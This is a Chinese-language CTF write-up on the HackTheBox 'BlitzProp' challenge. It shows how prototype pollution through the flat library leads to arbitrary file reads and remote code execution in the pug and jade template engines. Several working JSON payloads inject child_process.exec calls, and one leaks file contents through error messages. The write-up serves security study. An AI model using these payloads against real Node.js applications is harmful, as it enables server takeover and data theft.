【技术分享】从一道题开始的pug原型污染链挖掘

  • A+
所属分类:CTF专场

【技术分享】从一道题开始的pug原型污染链挖掘

 

之前在hackthebox的一次ctf比赛中有一道题考察了原型链污染攻击pug,在做题的时候用AST Injection这种方式又发现了一个未公开的pug&&jade的原型攻击链,和大家分享一下.

 

题目简析

这道题目具体是HackTheBox 2021 Cyber Apocalypse 2021的一道web题,wp和源码可以在下面这个链接里面找到. https://github.com/evyatar9/Writeups/tree/d67484a86ede51e8cdb3ea1b8ed042363c471296/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/Web-BlitzProp

题目场景:一个提交表单,用json来传输提交的数据

【技术分享】从一道题开始的pug原型污染链挖掘

分析代码,发现代码量也很少,只有两个路由

【技术分享】从一道题开始的pug原型污染链挖掘

仔细分析/api/submit部分代码发现用了flat这个库解析传过去的json数据, 题目flat版本是5.0.0, 这个版本存在一个原型链污染漏洞,详情参考 https://snyk.io/vuln/npm:flat . 所以可以post下面的数据成功进入if条件里面:

{    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild"}// Hello guest, thank you for letting us know!

存在原型链污染,题目又没有别的可利用点,所以只能考虑原型链污染打pug.预期解应该是使用POSIX 师傅这条公开链打, https://blog.p6.is/AST-Injection/ . 但是当时我还不知道pug有一个现成的原型攻击链,所以就尝试手动调试挖掘下,就开启我的模板引擎调试之旅.

 

任意文件读取

由于pug是jade换了名字改过来的,我就直接尝试了jade的链子能不能打通,就意外发现报错可用带出部分文件内容.

jade的链子直接打是会报错的:

【技术分享】从一道题开始的pug原型污染链挖掘

于是我深入调试分析,直接进入pug.compile函数

【技术分享】从一道题开始的pug原型污染链挖掘

跟进compileBody

【技术分享】从一道题开始的pug原型污染链挖掘

在compile处下断点

【技术分享】从一道题开始的pug原型污染链挖掘

发现会调用generateCode插件,再继续跟踪调试到Compiler.compile()

【技术分享】从一道题开始的pug原型污染链挖掘

下面这段代码其实就很熟悉了,最终要返回执行的模板函数会存在buf里面,而buf在pug下面这段代码里面又传给了js

【技术分享】从一道题开始的pug原型污染链挖掘

之前post的json是:

{    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",    "{}.__proto__.self":true,    "line":"global.process.mainModule.require('child_process').exec('calc')"}

发现报错其实是污染this.options.self改变了程序运行逻辑,下面这段代码

【技术分享】从一道题开始的pug原型污染链挖掘

未污染的时候self为undefined值.然后接着调试,发现报错的时候有惊喜,报错的时候有一个filename是undefined,尝试把它污染,污染之后会继续执行后面的代码,否则会直接throw error.

【技术分享】从一道题开始的pug原型污染链挖掘

之后发现存在读取文件操作

【技术分享】从一道题开始的pug原型污染链挖掘

最后发现会把文件内容拼接到报错信息:

【技术分享】从一道题开始的pug原型污染链挖掘

【技术分享】从一道题开始的pug原型污染链挖掘

然后在非debug条件下:

【技术分享】从一道题开始的pug原型污染链挖掘

payload :

{    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",    "{}.__proto__.self":true,    "{}.__proto__.filename":"./flag"}

但是当时的flag文件是/flagxxxxx后面是随机的,所以这题就没出: (

 

AST Injection

赛后发现pug有现成链子:

{    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",    "__proto__.block":{        "type":"Text",        "line":"process.mainModule.require('child_process').exec('calc')"    }}

很好奇这个链子是怎么挖出来的,所以仔细阅读了POSIX这篇文章 . https://blog.p6.is/AST-Injection/

里面讲了一种AST Injection的方法,挖掘了很多模板引擎的原型污染链. 由于还没学编译原理,对模板引擎底层设计也不熟悉,所以感觉这篇文章的精髓也没有理解,只能跟着调试一下.

调试的时候会发现下面这端代码, this.visit,这段代码对于调试过jade RCE链的人来说必定很熟悉,因为jade的恶意代码就是通过污染node.line拼接到模板函数里面的.

【技术分享】从一道题开始的pug原型污染链挖掘

但是比赛的时候我并没有调试出node.line为undefined的情况,所以污染这个也不起什么作用,后来发现是格局小了

不存在node.line为undefined这个条件,我们可以自己创造条件( XD , 如果调试的够仔细的话可以发现在visitCode()函数中存在code.block为undefined的情况.block值不为空就会调用this.visit,进而有node.line为undefined的情况

【技术分享】从一道题开始的pug原型污染链挖掘

然后就有熟悉又亲切的undefined line

【技术分享】从一道题开始的pug原型污染链挖掘

最终的payload:

{    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",    "{}.__proto__.block":{        "type":"Text",        "line":"process.mainModule.require('child_process').exec('calc')"    }}

 

另一条链

如果调试的够仔细的话可以发现村在visitTag()里面也存在tag.code.

【技术分享】从一道题开始的pug原型污染链挖掘

污染一下再跟进到visitCode:

【技术分享】从一道题开始的pug原型污染链挖掘

发现code.buffer为undefined(默认)或false的时候会把code.val(undefined)push到模板函数,所以可用注入一个visitTag进去

{    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",    "__proto__.code":{        "val":";process.mainModule.require('child_process').exec('calc');"        }}

【技术分享】从一道题开始的pug原型污染链挖掘

然后就弹出计算器了 : )

【技术分享】从一道题开始的pug原型污染链挖掘

另外再说一下,因为jade和pug比较像,所以我尝试了一下在jade模板引擎里面这条链打不打得通,发现可以,payload如下,分析就不贴了,差不多的.

{    "__proto__":{        "self":"1",        "code":{            "val":";process.mainModule.require('child_process').exec('calc');"}    }}

 

总结

我比较菜,只额外找到了另外一条链.POSIX师傅这个思路真的很强,顺着这个思路可能还可以找出一些别的链子,有兴趣的师傅可以调试分析下.
另外报错读取文件也很有趣, 大师傅们可以再深入探索下,有新的发现可以联系我交流hh。

(点击“阅读原文”查看链接)

【技术分享】从一道题开始的pug原型污染链挖掘


- End -
精彩推荐
正式发布 | 零信任:以零信任,重建信任
【技术分享】从六月模板注入样本看黑产更新
【技术分享】海莲花的CobaltStrike加载器
REvil勒索软件7000万美元赎金计划败北
【技术分享】从一道题开始的pug原型污染链挖掘
戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):【技术分享】从一道题开始的pug原型污染链挖掘

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: